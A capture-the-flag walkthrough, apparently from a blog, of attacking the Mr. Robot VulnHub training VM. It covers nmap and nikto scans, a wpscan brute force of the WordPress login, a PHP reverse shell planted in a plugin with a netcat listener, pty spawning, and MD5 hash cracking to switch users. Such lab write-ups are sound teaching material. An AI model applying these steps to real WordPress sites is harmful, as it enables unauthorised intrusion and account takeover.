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Hacking f_society.


Mr. Robot is a show on AMC about a disturbed hacker attempting to thwart an omni-present oligarchy while at the same time trying to suppress a dark alter-ego modeled after his own father.

Notably, the show tries to portray “hacking” realistically (inasmuch as it can without entire episodes dedicated to watching Elliot pore over the documentation of a specific vulnerable version of httpd running on Windows Server 2000), and I appreciate it. Well, mostly.

With that in mind, let’s break a Mr. Robot themed VM together, and maybe learn something about webapp security along the way.

Download the .ova from vulnhub, pop it in your favorite virtualization software (hard to go wrong with VirtualBox), and boot it up. The Mr. Robot VM grabs a DHCP lease on boot, and I’d recommend running it and your offense box on the same virtual subnet.

Recon / Scanning

First, let’s scan the subnet to find Mr. Robot’s VM.

root@bento:~# nmap -A
Starting Nmap 7.01 ( https://nmap.org ) at 2016-08-03 23:48 PDT

Nmap scan report for
Host is up (0.00052s latency).
Not shown: 997 filtered ports
22/tcp  closed ssh
80/tcp  open   http     Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open   ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after:  2025-09-13T10:45:03
MAC Address: 08:00:27:6C:39:39 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.10 - 3.19
Network Distance: 1 hop

1   0.52 ms

From the scan, we can see the VM is probably serving some sort of web-service. Before we investigate this further, however, let’s run some more scans and see if we can dig up anything else.

root@bento:~# nikto -host
- Nikto v2.1.6
+ Target IP:
+ Target Hostname:
+ Target Port:        80
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /admin/index.html: Admin login page/section found.
+ /wp-login/: Admin login page/section found.
+ /wordpress/: A Wordpress installation was found.
+ /wp-admin/wp-login.php: Wordpress login found
+ /blog/wp-login.php: Wordpress login found
+ /wp-login.php: Wordpress login found

Our nikto scan turns up a bunch of interesting directories, including what looks like an admin portal for a WordPress site. Definitely worth checking out.

Navigating to the VMs IP in Firefox yields the following page:

None of the commands are all that interesting. What is interesting, however, is the site’s robots.txt file:

Looks like we’ve got our first key.

root@bento~# wget
--2016-08-06 18:43:14--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 33 [text/plain]
Saving to: ‘key-1-of-3.txt’

key-1-of-3.txt      100%[===================>]      33  --.-KB/s    in 0s      

2016-08-06 18:43:14 (7.39 MB/s) - ‘key-1-of-3.txt’ saved [33/33]

root@bento~# cat key-1-of-3.txt

That’s a pretty easy win in my book. I’ll take it. Save the .dic file for later, there’s no telling how it will come in handy but I doubt they let us have it for nothing.

Time to revisit the nikto scan and see if we can turn up anything from the WordPress directories. Let’s start with the login page, /wp-login.php.

Gaining Access

Poking at the login page with a few default credentials doesn’t really reveal anything interesting. Routing the request/response traffic through Burp also comes up short. Going back to the .dic file we downloaded earlier, it’s pretty clearly some kind of wordlist. There are many duplicate words in there, however, so I hacked together a Python script to remove them:

with open('fsocity.dic') as infile: dic = infile.readlines()
dic = set(dic)
fsocity = open('fsocity_sorted.dic', 'w')
for i in dic: fsocity.write("%s" % i)

Now, using the sorted wordlist and the username ‘Elliot’ (the most commonly occurring username in the .dic file) we can attempt to bruteforce the WordPress login. I’ll be using the wpscan tool for my web cracking.

root@bento:~# wpscan -u --wordlist fsocity_sorted.dic --username Elliot
  Brute Forcing 'Elliot': |===================================
  [+] [SUCCESS] Login : Elliot Password : ER28-0652

  Brute Forcing 'Elliot': |===================================
  | Id | Login  | Name | Password  |
  |    | Elliot |      | ER28-0652 |

[+] Finished: Mon Aug  8 12:57:26 2016
[+] Requests Done: 7853
[+] Memory used: 11.816 MB
[+] Elapsed time: 00:02:09

Input the credentials into the login form… and we’re in.

Privilege Escelation

From the WordPress admin page, we have access to the source code of a variety of plugins. Using this, we can spawn a reverse shell with some clever PHP code. The reverse shell I use I grabbed from here, just make sure to make the necessary adjustments to the socket so you can actually recieve the traffic your reverse shell sends back. To do this, edit these lines of the above .php script:

set_time_limit (0);
$VERSION = "1.0";
$ip = '';  // CHANGE THIS
$port = 6666;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

to reflect your own IP address as well as a generic port you wish to recieve the traffic on. After that, either zip and upload the standalone PHP shellcode as a WordPress plugin, or paste the script into one of the plugins already on the site. Then, set up a listener in your terminal and activate the plugin containing the payload:

root@bento:~# nc -lvp 6666
listening on [any] 6666 ... inverse host lookup failed: Unknown host
connect to [] from (UNKNOWN) [] 57491
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
 22:26:41 up  1:08,  0 users,  load average: 0.01, 0.04, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$ whoami

Cool, we have a shell session up. I poked around the system for a long time looking for clues or other keys, and finally found the files ‘password.raw-md5’ and ‘key-2-of-3.txt’ in ‘/home/robot’. However, cat-ing the file gives Permission Denied. Looks like I’ll have to escalate my privilege.

$ su
su: must be run from a terminal

Okay, first we have to spawn a terminal with Python:

$ python -c 'import pty; pty.spawn("bin/sh")'
$ su robot
su robot

Great, now at least we can ‘su’. Going back to the file ‘password.raw-md5’ we found does indeed give us a raw md5 hash. Popping it into one of the online crackers like this one gives us the string ‘abcdefghijklmnopqrstuvwxyz’. Nice. You’d think Elliot would have a better password.

$ su robot
Password: abcdefghijklmnopqrstuvwxyz

robot@linux:/$ whoami
robot@linux:/$ cat key-2-of-3.txt
cat key-2-of-3.txt

Nice. Got the second key.